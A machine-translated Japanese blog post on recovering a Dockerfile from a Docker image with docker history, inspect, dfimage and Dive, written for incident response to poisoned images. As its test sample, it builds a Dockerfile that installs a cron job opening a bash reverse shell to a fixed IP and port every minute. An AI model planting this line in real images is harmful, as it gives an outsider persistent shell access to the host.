Dockerfileファイルを取得するためのDockerイメージ解析

Dockerfileファイルを取得するためのDockerイメージ解析

01. 概要

コンテナ イメージのセキュリティに関しては、特にイメージ ポイズニングによるセキュリティ インシデントが発生した場合、イメージのソースをトレースし、Dockerfile ファイルを解析することが、緊急インシデント処理の重要なステップとなります。このブログ記事では、コンテナのセキュリティにとって重要なイメージ解像度から Dockerfile を取得する方法について説明します。

02. 環境整備

Dockfile を使用して、リバウンド シェルの悪意のあるイメージを構築します。

 FROM ubuntu:20.04 RUN apt-get update &&\ apt-get install -y cron &&\ (echo '* * * * * bash -c "bash -i >& /dev/tcp/192.168.99.242/12345 0>&1"'; crontab -l )| crontab ENTRYPOINT ["cron","-f","&&"] CMD ["/bin/bash"]


03. イメージ解析Dockerfile

3.1 画像ファイル解析

イメージのメタデータ情報では、イメージの構築に使用された Dockerfile を正常に解析し、その Dockerfile の内容を取得して、イメージの構築プロセスと導入されたソフトウェア パッケージおよび構成を理解することができます。

 docker save -o test.tar test:v1.0 tar -xvf test.tar


3.2 Dockerコマンドパラメータ

指定したイメージの作成履歴を表示するには、docker history コマンドを使用します。情報の一部のみ表示可能です。すべての情報を表示するには、--no-trunc を追加できます。

 docker history test:v1.0 docker history test:v1.0 --no-trunc


docker inspect コマンドを使用して、Docker イメージの詳細情報を表示します。 --format パラメータを使用して出力情報を自分で定義し、イメージの構成情報を取得できます。

 #查看镜像的配置信息docker inspect --format='{{json .Config}}' test:v1.0

3.3 イメージ

dfimageは、イメージからDockerfileを抽出するために使用できるサードパーティのツールです。

(1)ショートカットを生成します。 dfimage を使用して、非常に詳細な Dockerfile を出力します。

 alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" dfimage -sV=1.36 test:v1.0

3.4 Dockerイメージ解析ツールDive

Dive は、Docker コンテナイメージの内部を解析・閲覧し、各層のファイルの変更内容を詳細に確認できる Docker イメージ解析ツールです。

 alias dive="docker run -ti --rm -v /var/run/docker.sock:/var/run/docker.sock wagoodman/dive" dive test:v1.0

写真

<<:  クラウドの停止中に企業は損失を回復できますか?

>>:  Dockerfile は組み込みのシェル スクリプトをサポートし、&& リンク シンボルは不要になりました。

推薦する

最適化とマーケティングを同時に行うために、サイト上でソフトな記事を書くためのヒントがあります

なぜウェブサイト上のオリジナル記事をサイト上のソフト記事として扱うべきなのでしょうか?その目的は、こ...

ウェブマスターはオンライン マーケティングの 7 つのステップを知っていますか?

インターネットが急速に発展する時代において、電子商取引のオンライン マーケティングは徐々に従来のマー...

日本の「ソフトバンク回線」東京のV.PSのVPSの簡単なレビュー

v.psの東京データセンターのVPSは、日本のソフトバンク回線に接続され、デフォルトで1Gbpsの帯...

justhost: 新しいフィヨルド データ センター、月額 1.39 ドルから、帯域幅 200Mbps、トラフィック無制限

ロシアのマーチャント justhost は、スモールズの Fiord データセンターという新しいデー...

ウェブマスターは百度百科事典の最適化方法を盲目的に学ぶべきではない

最適化の方法はサイトの種類によって異なります。しかし、著者は、誰もが百度百科事典の最適化方法に夢中に...

ウェブサイトの現状とSEOの現実について簡単に説明します

私は大学を卒業したばかりの頃に SEO 業界に入り、宝くじサイトの最適化に携わってきました。宝くじ業...

Vultr - 無料の 100 ドルクーポンコード / 14 のデータセンターで VPS を提供

Vultr は長い間大きな動きを見せていません。今回は衝撃的な割引コードがあり、60 日間有効な 1...

4つの主要な分散トランザクションソリューションの詳細な説明

分散トランザクションは分散システムでよく見られ、大企業でも頻繁に調査されています。以下では、4つの主...

トラフィックキーワードとコンバージョン率キーワードの選び方を分析

最近、多くのSEO初心者が、自分のウェブサイトがトラフィック向けなのか、コンバージョン率向けなのかわ...

virmach - 特別な VPS、年間支払額は 3 USD/専用 IP から (年間支払額が 15 USD からという Windows VPS もあります)

virmach.com、2000年に設立されたこのVPS販売業者は、ゲームコンソールから始まり評判も...

手頃な価格で高速、実名/登録不要の香港クラウドサーバーのおすすめ

この記事の目的は、香港のクラウド サーバーを推奨することです。香港のクラウド サーバーの利点は、速度...

クラウド コンピューティング データ センター相互接続テクノロジーは何を実現できるのでしょうか?

現在、データセンターの相互接続技術とサービスではクラウド コンピューティング技術が採用されています。...

K8S アフィニティとアンチアフィニティのスケジューリングを 10 分で理解する

この記事では、Kubernetes のアフィニティ スケジューリングとアンチアフィニティ スケジュー...

実践分析: ロボットファイルを変更した後、Baidu と Google がウェブサイトにどのように反応するか

私は長年ウェブサイトを運営しており、ウェブマスターが遭遇する可能性のあるあらゆる問題に遭遇してきまし...

112 の新しいドメイン名拡張子が登録可能になりました。今すぐお気に入りのドメイン名を登録しましょう!

既存の一般的なドメイン名サフィックスを持つ多くの優れたドメイン名がすでに登録されていますか?気に入っ...